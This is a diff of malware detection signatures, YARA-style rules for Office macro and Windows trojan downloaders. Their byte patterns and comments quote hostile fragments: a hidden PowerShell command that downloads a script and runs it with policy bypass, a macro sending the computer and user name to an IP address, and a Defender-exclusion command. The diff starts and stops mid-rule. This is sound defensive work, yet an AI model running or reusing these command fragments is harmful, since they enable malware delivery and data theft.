ff ff 83 e8 03 48 98 0f be 84 05 e0 f7 ff ff 83 f8 0d 0f 85 05 00 00 00 e9 17 00 00 00 8b 85 84 e3 ff ff 03 85 80 e3 ff ff 89 85 80 e3 ff ff } //1 + $a_01_1 = {48 c7 85 78 e3 ff ff 00 00 00 00 48 8b bd a8 e3 ff ff 48 8d 35 88 03 00 00 e8 65 02 00 00 48 89 85 78 e3 ff ff 48 83 bd 78 e3 ff ff 00 0f 85 4a 00 00 00 48 8d 05 69 03 00 00 48 89 85 a8 e3 ff ff 48 8b bd a8 e3 ff ff 48 8d 35 52 03 00 00 e8 2f 02 00 00 48 89 85 78 e3 ff ff 48 83 bd 78 e3 ff ff 00 0f 85 0f 00 00 00 c7 85 cc e3 ff ff 00 00 00 00 e9 67 01 00 00 e9 00 00 00 00 48 8b bd a8 e3 ff ff be c0 01 00 00 e8 d1 01 00 00 8b bd 94 e3 ff ff 48 8d b5 e0 e7 ff ff ba 00 10 00 00 31 c9 e8 06 02 00 00 89 85 84 e3 ff ff 83 bd 84 e3 ff ff 01 0f 8d 05 00 00 00 e9 70 00 00 00 } //1 + $a_01_2 = {a0 a3 5d 78 d4 00 00 94 e0 5f 00 b9 01 00 00 14 e3 3b 40 f9 ea 5f 40 b9 e8 33 40 f9 ec 6f 40 b9 eb 47 40 f9 ed 43 40 f9 ee 3f 40 f9 e9 03 00 91 2e 01 00 f9 2d 05 00 f9 2b 09 00 f9 eb 03 0c aa 6b 3d 40 92 6b 3d 40 92 2b 0d 00 f9 28 11 00 f9 e8 03 0a aa 08 3d 40 92 08 3d 40 92 28 15 00 f9 e0 07 40 91 00 60 24 91 e0 2b 00 f9 01 00 80 52 e1 47 00 b9 02 80 80 d2 e2 27 00 f9 bf 00 00 94 e3 47 40 b9 e1 2b 40 f9 e2 27 40 f9 e0 bf 40 b9 f0 00 00 94 e1 27 40 f9 e0 2b 40 f9 c0 00 00 94 08 00 80 12 e8 af 00 b9 ff ab 00 b9 01 00 00 14 } //1 + $a_01_3 = {e9 4b 40 f9 e8 07 40 91 08 61 14 91 29 01 40 39 eb ab 80 b9 ea 03 08 aa 4a 01 0b 8b 49 01 00 39 e9 ab 80 b9 08 69 e9 38 08 29 00 71 61 03 00 54 01 00 00 14 e8 ab 40 b9 09 05 00 71 e8 07 40 91 08 61 14 91 08 c9 e9 38 08 35 00 71 61 02 00 54 01 00 00 14 e8 ab 40 b9 09 09 00 71 e8 07 40 91 08 61 14 91 08 c9 e9 38 08 29 00 71 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanDownloader/O97M/AgentTesla/TrojanDownloader_O97M_AgentTesla_RVK_MTB.yar b/TrojanDownloader/O97M/AgentTesla/TrojanDownloader_O97M_AgentTesla_RVK_MTB.yar new file mode 100644 index 0000000000..67dfbcfa3b --- /dev/null +++ b/TrojanDownloader/O97M/AgentTesla/TrojanDownloader_O97M_AgentTesla_RVK_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanDownloader_O97M_AgentTesla_RVK_MTB{ + meta: + description = "TrojanDownloader:O97M/AgentTesla.RVK!MTB,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_03_0 = {3d 22 68 74 74 70 3a 2f 2f 31 37 36 2e 36 35 2e 31 33 34 2e 37 39 2f 68 6f 73 74 69 6e 67 2f [0-0a] 2e 70 73 31 22 78 32 3d 22 63 3a 5c 5c 74 65 6d 70 5c 5c } //1 + $a_01_1 = {73 75 62 77 6f 72 6b 62 6f 6f 6b 5f 6f 70 65 6e 28 29 } //1 subworkbook_open() + condition: + ((#a_03_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanDownloader/O97M/CrimsonRAT/TrojanDownloader_O97M_CrimsonRAT_PC_MTB.yar b/TrojanDownloader/O97M/CrimsonRAT/TrojanDownloader_O97M_CrimsonRAT_PC_MTB.yar new file mode 100644 index 0000000000..4d81282704 --- /dev/null +++ b/TrojanDownloader/O97M/CrimsonRAT/TrojanDownloader_O97M_CrimsonRAT_PC_MTB.yar @@ -0,0 +1,14 @@ + +rule TrojanDownloader_O97M_CrimsonRAT_PC_MTB{ + meta: + description = "TrojanDownloader:O97M/CrimsonRAT.PC!MTB,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {3d 20 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 53 63 72 69 70 74 69 6e 67 2e 46 69 6c 65 53 79 73 74 65 6d 4f 62 6a 65 63 74 22 29 } //1 = CreateObject("Scripting.FileSystemObject") + $a_01_1 = {26 20 52 65 70 6c 61 63 65 28 22 45 78 61 63 31 2e 7a 69 5f 73 70 22 2c 20 22 5f 73 70 22 2c 20 22 70 22 29 2c 20 54 72 75 65 } //1 & Replace("Exac1.zi_sp", "_sp", "p"), True + $a_03_2 = {3d 20 45 6e 76 69 72 6f 6e 24 28 22 73 79 73 74 65 6d 72 6f 6f 74 22 29 20 26 20 52 65 70 6c 61 63 65 28 22 5c 4d 69 63 72 [0-02] 6f 73 6f 66 74 2e 4e 45 54 5c 46 72 61 [0-02] 6d 65 77 6f 72 6b 5c 76 [0-04] 2e [0-04] 22 2c 20 22 [0-02] 22 2c 20 22 22 29 } //1 + $a_03_3 = {53 68 65 6c 6c 20 [0-20] 26 [0-20] 26 20 22 2e 73 22 20 26 20 52 65 70 6c 61 63 65 28 22 63 72 5f 70 61 22 2c 20 22 5f 70 61 22 2c 20 22 22 29 2c 20 76 62 4e 6f 72 6d 61 6c 4e 6f 46 6f 63 75 73 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/TrojanDownloader/O97M/Donoff/TrojanDownloader_O97M_Donoff_SRH_MSR.yar b/TrojanDownloader/O97M/Donoff/TrojanDownloader_O97M_Donoff_SRH_MSR.yar new file mode 100644 index 0000000000..486194c14b --- /dev/null +++ b/TrojanDownloader/O97M/Donoff/TrojanDownloader_O97M_Donoff_SRH_MSR.yar @@ -0,0 +1,13 @@ + +rule TrojanDownloader_O97M_Donoff_SRH_MSR{ + meta: + description = "TrojanDownloader:O97M/Donoff.SRH!MSR,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_81_0 = {4f 70 65 6e 20 22 50 4f 53 54 22 2c 20 22 68 74 74 70 3a 2f 2f 33 38 2e 31 38 30 2e 32 30 36 2e 36 31 2f 65 6e 67 69 6e 65 2e 70 68 70 22 } //2 Open "POST", "http://38.180.206.61/engine.php" + $a_81_1 = {45 6e 76 69 72 6f 6e 28 22 43 4f 4d 50 55 54 45 52 4e 41 4d 45 22 29 } //1 Environ("COMPUTERNAME") + $a_81_2 = {45 6e 76 69 72 6f 6e 28 22 55 73 65 72 6e 61 6d 65 22 29 } //1 Environ("Username") + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/TrojanDownloader/O97M/Obfuse/TrojanDownloader_O97M_Obfuse_ABA_MTB.yar b/TrojanDownloader/O97M/Obfuse/TrojanDownloader_O97M_Obfuse_ABA_MTB.yar new file mode 100644 index 0000000000..0c2d58f83c --- /dev/null +++ b/TrojanDownloader/O97M/Obfuse/TrojanDownloader_O97M_Obfuse_ABA_MTB.yar @@ -0,0 +1,13 @@ + +rule TrojanDownloader_O97M_Obfuse_ABA_MTB{ + meta: + description = "TrojanDownloader:O97M/Obfuse.ABA!MTB,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {6f 53 68 65 6c 6c 20 3d 20 22 63 6d 64 20 2f 4b 20 22 20 2b 20 22 70 6f 77 22 20 2b 20 22 65 72 22 20 2b 20 22 53 68 22 20 2b 20 22 65 6c 6c 2e 65 22 20 2b 20 22 78 22 20 2b 20 22 65 20 2d 57 69 6e 64 6f 77 53 74 79 6c 65 20 68 69 64 64 65 4e 20 2d 45 78 65 63 75 54 69 6f 6e 50 6f 6c 69 63 79 20 42 79 70 61 73 53 20 2d 6e 6f 70 72 6f 66 69 6c 65 20 } //1 oShell = "cmd /K " + "pow" + "er" + "Sh" + "ell.e" + "x" + "e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile + $a_01_1 = {28 4e 65 77 2d 4f 62 6a 65 63 74 20 53 79 73 74 65 6d 2e 4e 65 74 2e 57 65 62 43 6c 69 65 6e 74 29 2e 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 28 27 68 74 74 70 3a 2f 2f 22 20 2b 20 42 61 73 65 36 34 44 65 63 6f 64 65 28 43 61 74 65 67 6f 72 79 20 2b 20 4c 61 6e 67 75 61 67 65 20 2b 20 4b 65 79 77 6f 72 64 73 20 2b 20 43 6f 6d 6d 65 6e 74 73 29 20 2b } //1 (New-Object System.Net.WebClient).DownloadFile('http://" + Base64Decode(Category + Language + Keywords + Comments) + + $a_01_2 = {2f 66 69 6c 65 2e 74 78 74 27 2c 27 25 54 45 4d 50 25 5c 59 6c 6f 61 64 2e 70 73 31 27 29 3b 20 70 6f 57 65 72 53 68 45 6c 6c 2e 65 78 65 20 2d 57 69 6e 64 6f 77 53 74 79 6c 65 20 68 69 64 64 65 4e 20 2d 45 78 65 63 75 74 69 6f 6e 50 6f 6c 69 63 79 20 42 79 70 61 73 73 20 2d 6e 6f 70 72 6f 66 69 6c 65 20 2d 66 69 6c 65 20 25 54 45 4d 50 25 5c 59 6c 6f 61 64 2e 70 73 31 22 } //1 /file.txt','%TEMP%\Yload.ps1'); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%\Yload.ps1" + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/TrojanDownloader/O97M/Obfuse/TrojanDownloader_O97M_Obfuse_PBJ_MTB.yar b/TrojanDownloader/O97M/Obfuse/TrojanDownloader_O97M_Obfuse_PBJ_MTB.yar new file mode 100644 index 0000000000..c70bf7a1ff --- /dev/null +++ b/TrojanDownloader/O97M/Obfuse/TrojanDownloader_O97M_Obfuse_PBJ_MTB.yar @@ -0,0 +1,14 @@ + +rule TrojanDownloader_O97M_Obfuse_PBJ_MTB{ + meta: + description = "TrojanDownloader:O97M/Obfuse.PBJ!MTB,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {3d 20 45 6e 76 69 72 6f 6e 28 22 41 70 70 44 61 74 61 22 29 } //1 = Environ("AppData") + $a_03_1 = {2b 20 43 68 72 28 33 34 29 20 2b 20 [0-20] 20 2b 20 43 68 72 28 33 34 29 } //1 + $a_03_2 = {2e 4f 70 65 6e 54 65 78 74 46 69 6c 65 28 [0-20] 2c 20 32 2c 20 54 72 75 65 29 } //1 + $a_03_3 = {43 61 6c 6c 20 53 68 65 6c 6c 28 [0-20] 20 26 20 [0-20] 2c 20 76 62 4e 6f 72 6d 61 6c 46 6f 63 75 73 29 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/TrojanDownloader/O97M/Obfuse/TrojanDownloader_O97M_Obfuse_RPI_MTB.yar b/TrojanDownloader/O97M/Obfuse/TrojanDownloader_O97M_Obfuse_RPI_MTB.yar index 49f464cd9b..5b188fab2e 100644 --- a/TrojanDownloader/O97M/Obfuse/TrojanDownloader_O97M_Obfuse_RPI_MTB.yar +++ b/TrojanDownloader/O97M/Obfuse/TrojanDownloader_O97M_Obfuse_RPI_MTB.yar @@ -1,5 +1,16 @@ rule TrojanDownloader_O97M_Obfuse_RPI_MTB{ + meta: + description = "TrojanDownloader:O97M/Obfuse.RPI!MTB,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {66 6f 72 69 31 74 6f 6c 65 6e 78 64 65 63 72 79 70 74 65 64 64 65 63 72 79 70 74 65 64 63 68 72 61 73 63 6d 69 64 78 69 31 78 6f 72 6b 65 79 6e 65 78 74 69 } //1 fori1tolenxdecrypteddecryptedchrascmidxi1xorkeynexti + $a_01_1 = {63 72 65 61 74 65 6f 62 6a 65 63 74 77 73 63 72 69 70 74 73 68 65 6c 6c 72 75 6e 64 65 63 72 79 70 74 65 64 30 65 6e 64 73 75 62 } //1 createobjectwscriptshellrundecrypted0endsub + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} +rule TrojanDownloader_O97M_Obfuse_RPI_MTB_2{ meta: description = "TrojanDownloader:O97M/Obfuse.RPI!MTB,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 00 " diff --git a/TrojanDownloader/Win32/AsyncRAT/TrojanDownloader_Win32_AsyncRat_PA_MTB.yar b/TrojanDownloader/Win32/AsyncRAT/TrojanDownloader_Win32_AsyncRat_PA_MTB.yar new file mode 100644 index 0000000000..ac12e98f51 --- /dev/null +++ b/TrojanDownloader/Win32/AsyncRAT/TrojanDownloader_Win32_AsyncRat_PA_MTB.yar @@ -0,0 +1,14 @@ + +rule TrojanDownloader_Win32_AsyncRat_PA_MTB{ + meta: + description = "TrojanDownloader:Win32/AsyncRat.PA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 00 " + + strings : + $a_01_0 = {53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 } //1 Start-Process + $a_03_1 = {74 00 70 00 3a 00 2f 00 2f 00 67 00 65 00 74 00 73 00 76 00 65 00 72 00 69 00 66 00 66 00 2e 00 63 00 6f 00 6d 00 2f 00 72 00 76 00 78 00 6c 00 67 00 68 00 37 00 2f 00 [0-15] 2e 00 65 00 78 00 65 00 } //4 + $a_01_2 = {2f 00 43 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 22 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 20 00 2d 00 55 00 72 00 69 00 } //1 /C powershell -Command "Invoke-WebRequest -Uri + $a_01_3 = {2f 00 43 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 22 00 41 00 64 00 64 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 61 00 74 00 68 00 } //1 /C powershell -Command "Add-MpPreference -ExclusionPath + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*4+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/TrojanDownloader/Win32/Gripogle/TrojanDownloader_Win32_Gripogle_A.yar b/TrojanDownloader/Win32/Gripogle/TrojanDownloader_Win32_Gripogle_A.yar index e770d1a8b4..b0a092d92c 100644 --- a/TrojanDownloader/Win32/Gripogle/TrojanDownloader_Win32_Gripogle_A.yar +++ b/TrojanDownloader/Win32/Gripogle/TrojanDownloader_Win32_Gripogle_A.yar @@ -1,7 +1,7 @@ rule TrojanDownloader_Win32_Gripogle_A{ meta: - description = "TrojanDownloader:Win32/Gripogle.A,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 05 00 0d 00 00 " + description = "TrojanDownloader:Win32/Gripogle.A,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 05 00 0f 00 00 " strings : $a_00_0 = {20 00 63 00 65 00 72 00 74 00 72 00 65 00 71 00 20 00 } //1 certreq @@ -17,7 +17,9 @@ rule TrojanDownloader_Win32_Gripogle_A{ $a_00_10 = {31 00 70 00 6e 00 50 00 65 00 37 00 } //1 1pnPe7 $a_00_11 = {31 00 70 00 7a 00 50 00 65 00 37 00 } //1 1pzPe7 $a_00_12 = {31 00 53 00 70 00 75 00 75 00 37 00 } //1 1Spuu7 + $a_00_13 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-100 msedgewebview2.exe + $a_00_14 = {69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo condition: - ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*2+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1) >=5 + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*2+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*-100+(#a_00_14 & 1)*-1000) >=5 } \ No newline at end of file diff --git a/TrojanDownloader/Win32/MshtaAbuse/TrojanDownloader_Win32_MshtaAbuse_B.yar b/TrojanDownloader/Win32/MshtaAbuse/TrojanDownloader_Win32_MshtaAbuse_B.yar index fd161eb463..3e8a45b960 100644 --- a/TrojanDownloader/Win32/MshtaAbuse/TrojanDownloader_Win32_MshtaAbuse_B.yar +++ b/TrojanDownloader/Win32/MshtaAbuse/TrojanDownloader_Win32_MshtaAbuse_B.yar @@ -1,12 +1,14 @@ rule TrojanDownloader_Win32_MshtaAbuse_B{ meta: - description = "TrojanDownloader:Win32/MshtaAbuse.B,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + description = "TrojanDownloader:Win32/MshtaAbuse.B,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 04 00 00 " strings : $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //1 mshta $a_00_1 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 30 00 } //1 http://0 + $a_00_2 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-1000 msedgewebview2.exe + $a_00_3 = {69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo condition: - ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1) >=2 + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*-1000+(#a_00_3 & 1)*-1000) >=2 } \ No newline at end of file diff --git a/TrojanDownloader/Win32/PSDown/TrojanDownloader_Win32_PSDown_BSA_MTB.yar b/TrojanDownloader/Win32/PSDown/TrojanDownloader_Win32_PSDown_BSA_MTB.yar new file mode 100644 index 0000000000..50ef7315b6 --- /dev/null +++ b/TrojanDownloader/Win32/PSDown/TrojanDownloader_Win32_PSDown_BSA_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanDownloader_Win32_PSDown_BSA_MTB{ + meta: + description = "TrojanDownloader:Win32/PSDown.BSA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 24 00 } //1 -command $ + $a_02_1 = {2d 00 6a 00 6f 00 69 00 6e 00 20 00 24 00 [0-20] 5b 00 2d 00 31 00 2e 00 2e 00 2d 00 28 00 24 00 [0-20] 2e 00 6c 00 65 00 6e 00 67 00 74 00 68 00 29 00 5d 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanDownloader/Win32/PSDown/TrojanDownloader_Win32_PSDown_BSB_MTB.yar b/TrojanDownloader/Win32/PSDown/TrojanDownloader_Win32_PSDown_BSB_MTB.yar new file mode 100644 index 0000000000..066629b113 --- /dev/null +++ b/TrojanDownloader/Win32/PSDown/TrojanDownloader_Win32_PSDown_BSB_MTB.yar @@ -0,0 +1,15 @@ + +rule TrojanDownloader_Win32_PSDown_BSB_MTB{ + meta: + description = "TrojanDownloader:Win32/PSDown.BSB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {28 00 5b 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //1 ([system.Convert]::FromBase64String($ + $a_00_1 = {2e 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //1 .Net.WebClient + $a_00_2 = {2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 44 00 61 00 74 00 61 00 28 00 } //1 .DownloadData( + $a_00_3 = {5b 00 72 00 65 00 67 00 65 00 78 00 5d 00 3a 00 3a 00 73 00 70 00 6c 00 69 00 74 00 28 00 24 00 } //1 [regex]::split($ + $a_00_4 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 28 00 } //1 Invoke( + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/TrojanDownloader/Win32/Renos/TrojanDownloader_Win32_Renos.yar b/TrojanDownloader/Win32/Renos/TrojanDownloader_Win32_Renos.yar index 6fdce6af5a..f1ce37fce9 100644 --- a/TrojanDownloader/Win32/Renos/TrojanDownloader_Win32_Renos.yar +++ b/TrojanDownloader/Win32/Renos/TrojanDownloader_Win32_Renos.yar @@ -30,33 +30,6 @@ rule TrojanDownloader_Win32_Renos_2{ } rule TrojanDownloader_Win32_Renos_3{ - meta: - description = "TrojanDownloader:Win32/Renos,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 04 00 00 " - - strings : - $a_00_0 = {57 69 6e 64 6f 77 73 5c 78 70 75 70 64 61 74 65 2e 65 78 65 } //10 Windows\xpupdate.exe - $a_02_1 = {4e 6f 43 68 61 6e 67 69 6e 67 57 61 6c 6c 70 61 70 65 72 [0-10] 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 50 6f 6c 69 63 69 65 73 5c 41 63 74 69 76 65 44 65 73 6b 74 6f 70 } //10 - $a_02_2 = {46 6f 72 63 65 41 63 74 69 76 65 44 65 73 6b 74 6f 70 4f 6e [0-10] 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 50 6f 6c 69 63 69 65 73 5c 45 78 70 6c 6f 72 65 72 } //10 - $a_00_3 = {36 39 2e 35 30 2e 31 } //1 69.50.1 - condition: - ((#a_00_0 & 1)*10+(#a_02_1 & 1)*10+(#a_02_2 & 1)*10+(#a_00_3 & 1)*1) >=31 - -} -rule TrojanDownloader_Win32_Renos_4{ - meta: - description = "TrojanDownloader:Win32/Renos,SIGNATURE_TYPE_PEHSTR_EXT,29 00 29 00 05 00 00 " - - strings : - $a_02_0 = {47 45 54 20 2f [0-08] 2e 70 68 70 3f 26 61 64 76 69 64 3d } //10 - $a_01_1 = {57 69 6e 64 6f 77 73 20 75 70 64 61 74 65 20 6c 6f 61 64 65 72 } //10 Windows update loader - $a_02_2 = {4e 6f 43 68 61 6e 67 69 6e 67 57 61 6c 6c 70 61 70 65 72 [0-10] 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 50 6f 6c 69 63 69 65 73 5c 41 63 74 69 76 65 44 65 73 6b 74 6f 70 } //10 - $a_02_3 = {46 6f 72 63 65 41 63 74 69 76 65 44 65 73 6b 74 6f 70 4f 6e [0-10] 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 50 6f 6c 69 63 69 65 73 5c 45 78 70 6c 6f 72 65 72 } //10 - $a_00_4 = {36 39 2e 35 30 2e 31 } //1 69.50.1 - condition: - ((#a_02_0 & 1)*10+(#a_01_1 & 1)*10+(#a_02_2 & 1)*10+(#a_02_3 & 1)*10+(#a_00_4 & 1)*1) >=41 - -} -rule TrojanDownloader_Win32_Renos_5{ meta: description = "TrojanDownloader:Win32/Renos,SIGNATURE_TYPE_PEHSTR_EXT,6b 00 6a 00 07 00 00 " @@ -72,7 +45,7 @@ rule TrojanDownloader_Win32_Renos_5{ ((#a_01_0 & 1)*100+(#a_00_1 & 1)*3+(#a_00_2 & 1)*3+(#a_00_3 & 1)*2+(#a_00_4 & 1)*2+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=106 } -rule TrojanDownloader_Win32_Renos_6{ +rule TrojanDownloader_Win32_Renos_4{ meta: description = "TrojanDownloader:Win32/Renos,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 09 00 00 " @@ -90,59 +63,7 @@ rule TrojanDownloader_Win32_Renos_6{ ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_00_4 & 1)*2+(#a_00_5 & 1)*2+(#a_00_6 & 1)*2+(#a_00_7 & 1)*3+(#a_00_8 & 1)*3) >=14 } -rule TrojanDownloader_Win32_Renos_7{ - meta: - description = "TrojanDownloader:Win32/Renos,SIGNATURE_TYPE_PEHSTR_EXT,ffffffd7 00 ffffffd7 00 0a 00 00 " - - strings : - $a_01_0 = {64 6f 77 6e 6c 6f 61 64 2e 70 68 70 3f 26 61 64 76 69 64 3d } //100 download.php?&advid= - $a_00_1 = {43 3a 5c 57 69 6e 64 6f 77 73 5c 78 70 75 70 64 61 74 65 2e 65 78 65 } //50 C:\Windows\xpupdate.exe - $a_01_2 = {46 6f 72 63 65 41 63 74 69 76 65 44 65 73 6b 74 6f 70 4f 6e } //10 ForceActiveDesktopOn - $a_01_3 = {53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 5c 44 65 73 6b 74 6f 70 5c 47 65 6e 65 72 61 6c } //10 SOFTWARE\Microsoft\Internet Explorer\Desktop\General - $a_01_4 = {57 61 6c 6c 70 61 70 65 72 46 69 6c 65 54 69 6d 65 } //10 WallpaperFileTime - $a_01_5 = {57 69 6e 64 6f 77 73 20 75 70 64 61 74 65 20 6c 6f 61 64 65 72 } //10 Windows update loader - $a_01_6 = {53 4f 46 54 57 41 52 45 5c 49 6e 73 74 61 6c 6c } //10 SOFTWARE\Install - $a_01_7 = {50 72 6f 78 79 53 65 72 76 65 72 } //5 ProxyServer - $a_01_8 = {50 72 6f 78 79 45 6e 61 62 6c 65 } //5 ProxyEnable - $a_00_9 = {53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 49 6e 74 65 72 6e 65 74 20 53 65 74 74 69 6e 67 73 } //5 Software\Microsoft\Windows\CurrentVersion\Internet Settings - condition: - ((#a_01_0 & 1)*100+(#a_00_1 & 1)*50+(#a_01_2 & 1)*10+(#a_01_3 & 1)*10+(#a_01_4 & 1)*10+(#a_01_5 & 1)*10+(#a_01_6 & 1)*10+(#a_01_7 & 1)*5+(#a_01_8 & 1)*5+(#a_00_9 & 1)*5) >=215 - -} -rule TrojanDownloader_Win32_Renos_8{ - meta: - description = "TrojanDownloader:Win32/Renos,SIGNATURE_TYPE_PEHSTR_EXT,1d 00 1a 00 09 00 00 " - - strings : - $a_02_0 = {78 3a 5c 44 65 76 5f 43 50 50 5c 57 6f 72 6b 5c 56 53 5f 4b 6e 7a 53 74 72 5f 41 64 77 61 72 65 5c 52 65 6c 65 61 73 65 5c 56 53 5f 57 6f 72 6b ?? 2e 70 64 62 } //10 - $a_00_1 = {8b 45 14 85 c0 0f 8c 4b 01 00 00 83 f8 01 0f 84 42 01 00 00 83 f8 24 0f 8f 39 01 00 00 85 c0 75 2a 80 fb 30 74 09 c7 45 14 0a 00 00 00 eb 34 } //10 - $a_00_2 = {73 61 66 65 2d 73 74 72 69 70 2d 64 6f 77 6e 6c 6f 61 64 2e 63 6f 6d } //5 safe-strip-download.com - $a_02_3 = 